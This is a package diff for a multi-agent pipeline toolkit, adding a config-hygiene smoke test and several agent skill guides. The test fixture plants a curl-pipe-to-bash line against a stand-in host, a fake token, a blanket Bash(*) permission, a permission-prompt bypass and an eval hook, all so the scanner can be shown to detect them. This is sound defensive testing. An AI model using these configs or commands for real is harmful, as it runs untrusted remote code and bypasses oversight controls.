@mmerterden/multi-agent-pipeline 11.0.0 → 11.2.0

package/pipeline/scripts/smoke-config-hygiene.sh

@@ -0,0 +1,58 @@
+#!/usr/bin/env bash
+# smoke-config-hygiene.sh  -  contract for scan-agent-config.sh.
+#
+# 1. The real shipped surface must be clean (exit 0).
+# 2. A fixture tree with planted-bad configs must be caught (exit 1, HIGH findings).
+#    Detection matters: a hygiene gate that never fires is worthless.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+SCANNER="$ROOT/pipeline/scripts/scan-agent-config.sh"
+[ -f "$SCANNER" ] || { echo "FAIL: scanner missing" >&2; exit 1; }
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+echo "→ 1. real shipped surface is clean"
+if bash "$SCANNER" >/dev/null 2>&1; then pass "real surface exits 0"; else fail "real surface flagged (unexpected)"; fi
+
+echo "→ 2. planted-bad fixture is caught"
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+mkdir -p "$TMP/install/templates" "$TMP/pipeline/agents" "$TMP/pipeline/scripts"
+
+# a fake (non-real) token that matches the high-signal prefix rule
+FAKE_TOKEN="ghp_$(printf 'A%.0s' $(seq 1 36))"
+cat > "$TMP/pipeline/preferences-template.json" <<EOF
+{ "token": "$FAKE_TOKEN", "install": "curl https://x.example/i.sh | bash" }
+EOF
+
+# bad hooks template: blanket Bash(*), bypass flag, and an eval-bearing hook cmd
+cat > "$TMP/install/templates/claude-hooks.json" <<'EOF'
+{
+  "permissions": { "allow": ["Bash(*)"] },
+  "skipDangerousModePermissionPrompt": true,
+  "hooks": { "PreToolUse": [ { "matcher": "Bash(git commit:*)",
+    "hooks": [ { "type": "command", "command": "bash -c \"eval $(cat x)\"" } ] } ] }
+}
+EOF
+: > "$TMP/pipeline/agents/placeholder.md"
+
+OUT="$(SCAN_ROOT="$TMP" bash "$SCANNER" 2>&1 || true)"
+CODE=$?
+# under set -e off, capture exit explicitly
+SCAN_ROOT="$TMP" bash "$SCANNER" >/dev/null 2>&1; CODE=$?
+
+[ "$CODE" -eq 1 ] && pass "fixture exits 1 (blocking)" || fail "fixture did not block (exit $CODE)"
+echo "$OUT" | grep -q "\[HIGH\].*secret"        && pass "detects hardcoded secret"      || fail "missed secret"
+echo "$OUT" | grep -q "\[HIGH\].*bypass"         && pass "detects permission bypass"     || fail "missed bypass flag"
+echo "$OUT" | grep -q "\[HIGH\].*hook"           && pass "detects eval-bearing hook cmd" || fail "missed bad hook command"
+echo "$OUT" | grep -q "\[MEDIUM\].*Bash"         && pass "detects blanket Bash(*)"       || fail "missed blanket Bash"
+echo "$OUT" | grep -q "\[MEDIUM\].*curl|bash\|pipe-to-shell" && pass "detects curl|bash" || fail "missed curl|bash"
+
+echo ""
+echo "══ config-hygiene smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-gate-hooks.sh

@@ -43,6 +43,24 @@ else
   fail "pre-commit-check.sh missing"
 fi
 
+# 3b. template also wires agent-guard.sh on git commit AND git push
+node -e '
+  const t = JSON.parse(require("fs").readFileSync(process.argv[1],"utf8"));
+  const pre = (t.hooks && t.hooks.PreToolUse) || [];
+  const commit = pre.find(h => /git commit/.test(h.matcher || ""));
+  const push = pre.find(h => /git push/.test(h.matcher || ""));
+  const cmds = e => (e && e.hooks || []).map(h => h.command || "").join(" ");
+  if (!/agent-guard\.sh/.test(cmds(commit))) { console.error("guard not on git commit"); process.exit(1); }
+  if (!/agent-guard\.sh/.test(cmds(push))) { console.error("guard not on git push"); process.exit(1); }
+' "$TMPL" 2>/dev/null && pass "template wires agent-guard on git commit + git push" || fail "template does not wire agent-guard on both matchers"
+
+# 3c. the guard scripts exist in the source tree
+if [ -f "$ROOT/pipeline/scripts/agent-guard.sh" ] && [ -f "$ROOT/pipeline/scripts/agent-guard.py" ]; then
+  pass "agent-guard.sh + agent-guard.py exist to back the hook"
+else
+  fail "agent-guard scripts missing"
+fi
+
 # 4. picker-contract documents the hook template + the phase-enforced caveat
 PC="$ROOT/pipeline/commands/multi-agent/refs/picker-contract.md"
 if grep -q "claude-hooks.json" "$PC" && grep -q "phase-enforced" "$PC"; then

package/pipeline/skills/.skills-index.json

@@ -1,7 +1,7 @@
 {
   "schemaVersion": "1.0.0",
-  "generatedAt": "2026-07-07T13:28:32.523Z",
-  "skillCount": 223,
+  "generatedAt": "2026-07-07T16:08:36.778Z",
+  "skillCount": 228,
   "entries": [
     {
       "name": "accessibility-compliance-accessibility-audit",
@@ -12,6 +12,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/accessibility-compliance-accessibility-audit/SKILL.md"
     },
+    {
+      "name": "agent-introspection-debugging",
+      "description": "|",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/agent-introspection-debugging/SKILL.md"
+    },
     {
       "name": "agentflow",
       "description": "Orchestrate autonomous AI development pipelines through your Kanban board (Asana, GitHub Projects, Linear). Manages multi-worker Claude Code dispatch, deterministic quality gates, adversarial review, per-task cost tracking, and crash-proof pipeline execution.",
@@ -192,6 +201,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/background-processing/SKILL.md"
     },
+    {
+      "name": "backlog",
+      "description": "The engineering backlog registry for deferred-but-approved work in this codebase. Every job the user defers ('defer it', 'add it to the list', 'later', 'not now') lands HERE with its full spec, origin, and unblock condition, so deferral never means loss. Load when the user defers work, asks 'what's ",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/backlog/SKILL.md"
+    },
     {
       "name": "callkit-voip",
       "description": "Implement VoIP calling with CallKit and PushKit. Use when building incoming/outgoing call flows, registering for VoIP push notifications, configuring CXProvider and CXCallController, handling call actions, coordinating audio sessions, or creating Call Directory extensions for caller ID and call bloc",
@@ -327,6 +345,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/coreml/SKILL.md"
     },
+    {
+      "name": "council",
+      "description": "|",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/council/SKILL.md"
+    },
     {
       "name": "cryptokit",
       "description": "Use Apple CryptoKit for Swift cryptographic primitives. Use when hashing with SHA-2 or SHA-3, generating HMACs, encrypting with AES-GCM or ChaChaPoly, signing with P256/P384/P521/Curve25519 or ML-DSA keys, performing ECDH, HPKE, ML-KEM, or X-Wing key exchange, using Secure Enclave CryptoKit keys, or",
@@ -1569,6 +1596,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/room-database/SKILL.md"
     },
+    {
+      "name": "search-first",
+      "description": "|",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/search-first/SKILL.md"
+    },
     {
       "name": "shareplay-activities",
       "description": "Build shared real-time experiences using GroupActivities and SharePlay. Use when implementing shared media playback, collaborative app features, synchronized game state, or any FaceTime, Messages, AirDrop, or nearby visionOS group activity on iOS, macOS, tvOS, or visionOS.",
@@ -1578,6 +1614,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/shareplay-activities/SKILL.md"
     },
+    {
+      "name": "skill-creator",
+      "description": "Author and refine skills for a plugin/toolkit efficiently. Use when creating a new skill, trimming or splitting an existing one, writing a skill's description, or choosing skill vs command vs agent vs CLAUDE.md. Encodes the house rules — lean SKILL.md as an index, progressive disclosure into bundled",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/skill-creator/SKILL.md"
+    },
     {
       "name": "speech-recognition",
       "description": "Transcribe speech to text using Apple's Speech framework. Use when implementing live microphone transcription with AVAudioEngine, recognizing recorded audio files, handling speech and microphone authorization, choosing on-device vs server-backed SFSpeechRecognizer behavior, or adopting SpeechAnalyze",

package/pipeline/skills/shared/external/agent-introspection-debugging/SKILL.md

@@ -0,0 +1,69 @@
+---
+name: agent-introspection-debugging
+version: 1.0.0
+description: |
+  Structured self-debugging for an agent that is stuck, looping, or failing
+  repeatedly. Replaces blind re-prompting with capture -> diagnose -> contained
+  recovery -> report. Use when the same step fails twice, a loop is not making
+  progress, tool calls keep erroring, or you are about to retry without a new
+  hypothesis.
+---
+
+# Agent Introspection Debugging
+
+When an agent is stuck, the instinct is to try again harder. That burns tokens
+and usually reproduces the failure. This is a workflow, not a hidden runtime:
+it forces you to name the failure, classify it, take the smallest action that
+changes the diagnosis, and report honestly  -  before retrying.
+
+## When to use
+
+- The same step failed twice, or a fix loop is not converging.
+- Tool calls keep erroring (connection refused, rate limit, stale state).
+- You are about to retry with no new hypothesis  -  the signal to stop and think.
+
+## Phase 1 — Capture
+
+Write the failure state down before acting:
+
+- Goal (what were you actually trying to do).
+- The exact error or wrong output.
+- Last successful step, and the first failing step.
+- What is repeating (same error? different each time?).
+- Environment assumptions (cwd, branch, service up, auth present).
+
+## Phase 2 — Diagnose
+
+Match the symptom to a cause before choosing an action:
+
+| Symptom | Likely cause | First check |
+| --- | --- | --- |
+| Hit max tool calls / no end | unbounded loop | is there a stop condition? |
+| Context overflow | unbounded notes/output | what is being accumulated? |
+| Connection refused | service/port down | is it running, right port? |
+| Rate limited (429) | retry storm | back off, not retry faster |
+| Diff/state looks stale | cwd or branch drift | pwd, current branch |
+| Tests still failing after "fix" | wrong hypothesis | re-read the actual assertion |
+
+## Phase 3 — Contained recovery
+
+Take the single smallest action that changes the diagnosis surface  -  not a
+broad rewrite. Change one variable, re-observe. The goal is new information,
+not a gamble on a fix.
+
+**Honesty guard:** do not claim recovery actions you are not actually
+performing. "Reset agent state," "cleared the cache," "restarted the service"
+are real only if you did them through a real tool. Narrating an imaginary
+auto-heal is worse than reporting that you are blocked.
+
+## Phase 4 — Introspection report
+
+Emit a short structured record:
+
+- Root cause (the confirmed one, not the first guess).
+- Result: `success` | `partial` | `blocked`.
+- Cost: rough tokens/time burned on the failure.
+- Preventive change: the rule, check, or guard that would stop this class of
+  failure next time  -  feed it back into the ledger or the plan.
+
+Then, and only then, retry  -  with the new hypothesis, not the old one.

package/pipeline/skills/shared/external/backlog/BACKLOG.md

@@ -0,0 +1,32 @@
+# Backlog
+
+Deferred-but-approved work, kept whole. Entries move `deferred` -> `ready` -> `in-progress` -> `done` and are never deleted. The full spec travels verbatim from when the job was deferred.
+
+## Ready
+
+_(nothing yet)_
+
+## Deferred
+
+_(nothing yet)_
+
+## In progress
+
+_(nothing yet)_
+
+## Done
+
+_(nothing yet)_
+
+---
+
+### Entry template
+
+```
+#### <id> — <title>
+- state: deferred | ready | in-progress | done
+- origin: <task / PR / finding / conversation that spawned it>
+- unblock: <condition that makes it actionable, or "none">
+- spec: |
+    <FULL description, verbatim from when it was deferred. Not a summary.>
+```

package/pipeline/skills/shared/external/backlog/SKILL.md

@@ -0,0 +1,49 @@
+---
+name: backlog
+version: 1.0.0
+description: "The engineering backlog registry for deferred-but-approved work in this codebase. Every job the user defers ('defer it', 'add it to the list', 'later', 'not now') lands HERE with its full spec, origin, and unblock condition, so deferral never means loss. Load when the user defers work, asks 'what's on the backlog / the list', says 'work the backlog' / 'pick up <item>', or when completing an item. The bundled BACKLOG.md is the registry; entries move deferred -> ready -> in-progress -> done and are never deleted."
+user-invocable: true
+argument-hint: [list | add | pick <id> | done <id>]
+allowed-tools: Read, Grep, Glob, Edit, Write
+---
+
+# backlog — deferred work, kept whole
+
+> **Layer:** workflow — the deterministic registry routine for deferred jobs.
+> **Bundled:** [BACKLOG.md](BACKLOG.md) — the registry. The heart of this skill.
+> **Iron rule:** moving a job onto this list is a MOVE, never a rewrite — the FULL spec
+> travels verbatim. A compressed one-liner is a loss; the point of the backlog is that
+> deferring costs nothing later.
+
+## When to load
+
+- The user defers work: "defer it", "add it to the list", "later", "not now", "backlog this".
+- The user asks about it: "what's on the backlog", "what's on the list", "what's owed".
+- The user works it: "work the backlog", "pick up <id>", "do the next one".
+- An item completes: mark it done (never delete).
+
+## The registry contract
+
+Every entry in `BACKLOG.md` carries, verbatim:
+
+- **id** — short stable slug (`kebab-case`), assigned on add.
+- **title** — one line.
+- **state** — `deferred` -> `ready` -> `in-progress` -> `done`. Entries only move forward; nothing is deleted.
+- **origin** — where it came from (the task/PR/finding/conversation that spawned it).
+- **spec** — the FULL description, verbatim from when it was deferred. Not a summary.
+- **unblock** — the condition that makes it actionable (a dependency, a decision, a date). `deferred` items without an unblock condition are just `ready`.
+
+Prefer an append-only markdown table or section list in `BACKLOG.md`; never overwrite an entry's spec on a state change — only its `state` line moves.
+
+## Operations
+
+| Command | Action |
+|---|---|
+| `list` | Show entries grouped by state (ready first, then deferred, then in-progress; done collapsed). |
+| `add` | Capture the deferred job with its full spec + origin + unblock condition. Assign an id. |
+| `pick <id>` | Move `ready`/`deferred` -> `in-progress`; surface the full spec so work resumes with zero context loss. |
+| `done <id>` | Move -> `done`. Keep the entry (it becomes the record of what was owed and delivered). |
+
+## Why keep it whole
+
+The failure mode this skill prevents: an agent defers a job with a one-line note, the surrounding context evaporates, and picking it up later means re-deriving the spec (or silently dropping it). Storing the full spec at defer-time makes deferral safe — the cost of "later" is paid once, up front, not lost.

package/pipeline/skills/shared/external/council/SKILL.md

@@ -0,0 +1,69 @@
+---
+name: council
+version: 1.0.0
+description: |
+  Convene a multi-voice council for ambiguous decisions, tradeoffs, and
+  go/no-go calls. Use when several valid paths exist and you need structured
+  disagreement before choosing, not code review or implementation planning.
+  Triggers on: "should we X or Y", "second opinion", "is this worth it",
+  "ship now or wait", requests for dissent or multiple perspectives.
+---
+
+# Council
+
+Convene a short panel of distinct advisory voices for a decision that has more
+than one credible answer. The point is structured disagreement: surface the
+tradeoffs and the strongest case against your leading option before you commit,
+so the choice survives contact with its own weaknesses.
+
+## When to use
+
+- A decision has multiple credible paths and no obvious winner.
+- You need the tradeoffs made explicit, not smoothed over.
+- Anchoring is a risk: the conversation has drifted toward one option and you
+  want it challenged on purpose.
+- A go / no-go would benefit from an adversarial pass.
+
+Examples: monorepo vs polyrepo, ship now vs hold for polish, feature-flag vs
+full rollout, build vs adopt, narrow scope vs keep strategic breadth.
+
+## When NOT to use
+
+| Instead of council | Use |
+| --- | --- |
+| Checking whether output is correct | a verification pass / tests |
+| Breaking a feature into steps | a planner |
+| Designing system architecture | an architect |
+| Finding bugs or security issues | a code reviewer |
+
+If there is a single correct answer discoverable from the code or the spec, do
+that work directly. Council is for genuine judgment calls.
+
+## The voices
+
+Run each as a distinct perspective (in-context, or as parallel sub-agents when
+the decision is high-stakes). Give each the same framing and ask for its
+strongest honest position, not a hedge.
+
+- **Skeptic** — attacks the leading option. What breaks it, what is being
+  assumed, what is the failure mode nobody is naming?
+- **Pragmatist** — optimizes for shipping and reversibility. What is the
+  cheapest path that keeps options open? What is good-enough now?
+- **Critic** — optimizes for long-term cost and coherence. What does this choice
+  lock in? What is the second-order effect in six months?
+
+Add a fourth domain voice (security, cost, UX) only when the decision hinges on
+that axis.
+
+## Protocol
+
+1. State the decision in one sentence and list the candidate options.
+2. Give each voice the same context; collect one crisp position + its single
+   strongest argument from each. No consensus-seeking at this stage.
+3. Surface the real disagreements as a tradeoff table (option x axis).
+4. Decide, and write down the losing option's best argument and the condition
+   under which you would revisit. A decision you cannot argue against is a
+   decision you have not understood.
+
+Keep it bounded: three voices, one round, one page. Council informs a choice; it
+does not replace making one.

package/pipeline/skills/shared/external/search-first/SKILL.md

@@ -0,0 +1,76 @@
+---
+name: search-first
+version: 1.0.0
+description: |
+  Research-before-coding workflow. Before writing a custom implementation,
+  check what already exists (repo utilities, installed libraries, packages,
+  internal components) and decide adopt / extend / compose / build on evidence.
+  Use at the start of any non-trivial feature or utility, especially when you
+  are about to reach for a new dependency or hand-roll something common.
+---
+
+# Search-First
+
+Reinventing an existing utility, or pulling a new dependency for something the
+codebase already solves, is one of the most common and most expensive agent
+mistakes. Search-first makes "does this already exist?" a required step before
+"how do I write it," and records the answer so the decision is auditable.
+
+## When to use
+
+- Starting a feature or utility that is plausibly a solved problem.
+- About to add a dependency (verify it is warranted and not already present).
+- About to hand-roll parsing, retry, caching, date math, validation, auth,
+  pagination, or any other well-trodden pattern.
+
+Skip it for genuinely novel, project-specific logic where no prior art exists.
+
+## The workflow
+
+### 0. Preflight (honesty gate)
+
+List the search channels actually available: the repo itself, installed
+dependencies, the package registry, internal component/skill catalogs, docs.
+If a channel is unreachable, say so explicitly. Never claim "nothing found"
+when a channel was simply not checked  -  silent skipping is the failure mode
+this step exists to prevent.
+
+### 1. Need analysis
+
+State in one line what capability is needed and the hard constraints
+(performance, license, platform, API shape). This is the query.
+
+### 2. Parallel search
+
+Search the channels concurrently, not one at a time:
+- the repo (existing utilities, similar call sites, patterns already in use);
+- installed dependencies (is it already a transitive capability?);
+- the package registry (mature options);
+- internal catalogs (components, skills, shared modules).
+
+### 3. Evaluate
+
+Score each candidate on functionality fit, maintenance/health, docs, license,
+and integration cost. Keep it to a short comparison, not a survey.
+
+### 4. Decide (matrix)
+
+| Situation | Decision |
+| --- | --- |
+| Existing thing fits as-is | **Adopt** |
+| Existing thing fits with a small addition | **Extend** it in place |
+| Two existing pieces combine to fit | **Compose** them |
+| Nothing fits and the need is real | **Build** minimal custom code |
+
+### 5. Implement
+
+Only now write code, and only the minimum the decision calls for. Record the
+decision and the rejected alternatives in the change description so the next
+person does not redo the search.
+
+## Anti-patterns
+
+- **Jumping to code** before step 0-4.
+- **Silent skipping** — reporting no prior art when a channel was down or
+  unchecked.
+- **Dependency reflex** — adding a package for a one-liner the repo already has.

package/pipeline/skills/shared/external/skill-creator/SKILL.md

@@ -0,0 +1,48 @@
+---
+name: skill-creator
+version: 1.0.0
+description: "Author and refine skills for a plugin/toolkit efficiently. Use when creating a new skill, trimming or splitting an existing one, writing a skill's description, or choosing skill vs command vs agent vs CLAUDE.md. Encodes the house rules — lean SKILL.md as an index, progressive disclosure into bundled files, the reference (descriptive) vs workflow (imperative) split, no-prefix naming, and growing a skill from observed failures. Bundles a template, a pre-ship checklist, and good/bad description examples."
+user-invocable: true
+argument-hint: [new | trim | description]
+allowed-tools: Read, Write, Edit, Glob
+---
+
+# skill-creator — how to write skills here
+
+> **Layer:** reference (knowledge)
+> **Use when:** creating/trimming a skill, writing a description, or choosing skill vs command/agent/CLAUDE.md.
+> **Bundled (read on demand):** [template.md](template.md) · [checklist.md](checklist.md) · [examples.md](examples.md) · [label-check.md](label-check.md) · [audit.md](audit.md)
+
+## 1. Is a skill the right tool?
+- **CLAUDE.md** — broad facts/rules true *every* session.
+- **Skill** — on-demand procedure or knowledge for a recurring task.
+- **Subagent/agent** — needs independent reasoning + its own context/tools.
+- **MCP server** — structured integration with an external system's API.
+
+## 2. The description is discovery (the 90% lever)
+It's the *only* thing the model sees when deciding to load the skill. **Write it first.** Include **what + when + trigger words + one example trigger**, in third person. (Anthropic's data: vague→specific lifts activation ~20%→50%; adding examples ~72%→90%.) Good/bad pairs in [examples.md](examples.md).
+
+## 3. Keep it lean (it stays in context every turn once loaded)
+- `SKILL.md` is an **index** — aim for ~1 page, hard cap ~500 lines.
+- Push detail into bundled files **one level deep** (reference, examples, scripts). They cost zero tokens until read; nested-deeper files get partially read — don't nest.
+- A **script executes without its source entering context** — prefer a script over asking the model to regenerate code.
+- Challenge every line: *"would Claude err without this?"* If no, cut it.
+
+## 4. Pick the right degree of freedom (= our layers)
+- **reference skill → descriptive:** invariants, conventions + pointers to canonical files, decision heuristics, pitfalls, escape hatches. **No numbered procedures.**
+- **workflow skill → imperative spine:** a numbered procedure **only** for deterministic/irreversible steps (branch/PR, codegen, build/verify). Cite reference skills for the judgment.
+- **tool skill → thin index over a script/CLI:** lean SKILL.md (when + the run command + sub-commands at a glance), heavy detail in a bundled `reference.md`; the script is the engine (e.g. `tools/figma-utility`).
+
+## 5. Naming
+No platform prefix — the toolkit name + description already carry it. Reference = aspect noun (`navigation`); workflow = verb-phrase (`branch-and-pr`). Avoid vague/reserved (`helper`, `utils`, `claude-*`). For a name/title/strict-rule label that must carry its **whole intent**, validate it with the fresh-subagent inference test in [label-check.md](label-check.md) before committing.
+
+## 6. Grow it from real usage — don't pre-write
+1. Do the task **without** a skill; note where Claude actually fails.
+2. Write the **minimum** that fixes those gaps.
+3. Watch Claude use it: move reused detail up into SKILL.md, cut detail it ignores, sharpen the description if it didn't trigger.
+
+## Before shipping
+Start from [template.md](template.md); run [checklist.md](checklist.md). For a new or
+substantially-changed skill that must be trusted, run the **multi-architect audit**
+([audit.md](audit.md)) — a panel of distinct-lens reviewers + synthesis, looped
+fix → re-audit until no blockers/majors remain.

package/pipeline/skills/shared/external/skill-creator/audit.md

@@ -0,0 +1,59 @@
+# Multi-architect audit — adversarial quality gate for a skill
+
+The [checklist](checklist.md) is the self-review floor. This is the **high-confidence
+gate**: a panel of N independent reviewers, each a *distinct lens*, reads the skill
+against the rubric + ground truth, then a synthesizer dedups and rules. You **loop
+fix → re-audit until it passes** (no blockers/majors). Run it before shipping a new
+or substantially-changed skill, or whenever a skill must be trusted.
+
+Use the [Workflow tool](scripts/audit-panel.js) to fan the panel out — it returns
+`{remaining, clearsBar, verdict}`.
+
+## The loop (run to convergence)
+1. **Panel** — N agents, one lens each, read-only. Each returns specific findings
+   (severity · file:location · problem · concrete fix). Empty if its lens is clean.
+2. **Synthesize** — dedup overlaps; **drop false positives** (verify each against the
+   real files/repo before keeping); classify blocker / major / minor / nit;
+   `clearsBar = no blockers and no majors remain`.
+3. **If not clean** — apply the do-now set (blockers + majors + cheap high-value
+   minors), then run a **fresh** panel (see "Fresh each round") and repeat.
+4. **Stop** when `clearsBar` is true. The later/nit list is optional polish.
+
+## Rules that make it trustworthy
+- **Fresh panel each round.** After a fix, re-run the panel anew so agents read the
+  *current* files — do not reuse a prior run's cached results (they reflect the old
+  state and will report fixed issues as open / miss regressions).
+- **Verify before keeping.** Every finding must be confirmed against the actual file
+  or repo. The synthesizer drops anything it can't reproduce. Prefer findings that
+  cite a line and a reproduction.
+- **Ground-truth, not vibes.** Give the panel the rubric ([SKILL.md](SKILL.md) +
+  [checklist.md](checklist.md)), an exemplar skill, and the real source the skill
+  describes (e.g. the iOS repo). Agents read; they don't assume.
+- **Watch for regressions.** A fix can break something — the red-team lens and the
+  fresh re-audit exist to catch it (e.g. a broadened check that now false-positives).
+- **clearsBar gates the merge.** Don't merge with an open blocker/major.
+
+## Lenses — pick the set for the task
+One distinct lens per agent (+ a synthesizer). Two ready-made sets:
+
+**General skill audit** — discovery · leanness · shape/layer · scripts · accuracy-vs-source · domain-correctness · wiring · boundaries · red-team → synthesis.
+
+**Prompt-engineering audit** (when the concern is *prompt quality* — descriptions,
+instructions, triggering):
+1. **description-as-discovery** — what + when + trigger words + example; would it activate on a real task?
+2. **disambiguation** — distinct from siblings; a reader can tell when to pick this vs a neighbor.
+3. **trigger coverage** — the real user phrasings (and synonyms) are covered.
+4. **instruction clarity** — steps are unambiguous, ordered, single-interpretation; no vague directives.
+5. **degrees of freedom / layer fit** — reference=descriptive (no numbered procedure), workflow=spine, tool=thin-index; freedom matches the task.
+6. **progressive disclosure / leanness** — SKILL.md is an index; detail bundled one level deep; no duplication.
+7. **token efficiency** — every line is load-bearing; nothing restates what the model already knows.
+8. **consistency** — terminology, naming, paths, cross-references, examples all agree.
+9. **anti-patterns / misfire** — would the model over-apply it, skip a gate, hallucinate a path, or follow it into a wrong output?
+10. **red-team** — adversarially try to make it not trigger, trigger wrongly, or produce broken output; hunt overclaims (says X, the script doesn't).
+
+Scale the panel to risk: a quick check is ~3 lenses; a thorough gate is ~10.
+
+## Scope of fixes per round
+Fix **blockers + majors** always; fold in **cheap, high-value minors** while you're
+in the file. Defer speculative nits and pre-existing/out-of-scope drift to the
+"later" list (and `log()`/note them — don't silently drop coverage).

package/pipeline/skills/shared/external/skill-creator/checklist.md

@@ -0,0 +1,32 @@
+# Pre-ship checklist
+
+Run before considering a skill done.
+
+## Discovery
+- [ ] `description` says **what + when + trigger words**, third person, and names the platform (iOS/SwiftUI).
+- [ ] Description disambiguates from sibling skills (a reader can tell when to pick this vs a neighbor).
+- [ ] Tested: in a fresh task that should trigger it, does the model actually reach for it? If not, sharpen the description.
+
+## Leanness
+- [ ] `SKILL.md` reads like an index, ~1 page (hard cap ~500 lines).
+- [ ] Detail lives in bundled files **one level deep** — no nested-deeper references.
+- [ ] Every line survives "would Claude err without this?" — no over-explaining, no restating what the model knows.
+- [ ] Deterministic code is a **script**, not prose asking the model to regenerate it.
+
+## Shape
+- [ ] Layer is explicit (reference or workflow) and matches the content.
+- [ ] **Reference** skill has **no numbered procedures** — heuristics + pointers only.
+- [ ] **Workflow** skill's numbered steps are **only** the deterministic/irreversible spine, and it has a **verification gate**.
+- [ ] Conventions **point to canonical files** rather than pasting code that will rot.
+
+## Naming & wiring
+- [ ] Name has **no platform prefix**; reference = aspect noun, workflow = verb-phrase; not vague/reserved.
+- [ ] Registered in the plugin manifest (`<plugin>/.claude-plugin/plugin.json` `skills` array) and the marketplace version bumped (`.github/plugin/marketplace.json`).
+- [ ] Listed in the `index` skill's route table.
+
+## House rules
+- [ ] No AI/Claude/Anthropic attribution anywhere in the skill or its examples.
+- [ ] Escape hatches name the skill to hand off to when this one doesn't apply.
+
+## High-confidence gate (new / substantially-changed skills)
+- [ ] Ran the multi-architect audit ([audit.md](audit.md)) and looped fix → re-audit until `clearsBar` (no blockers/majors).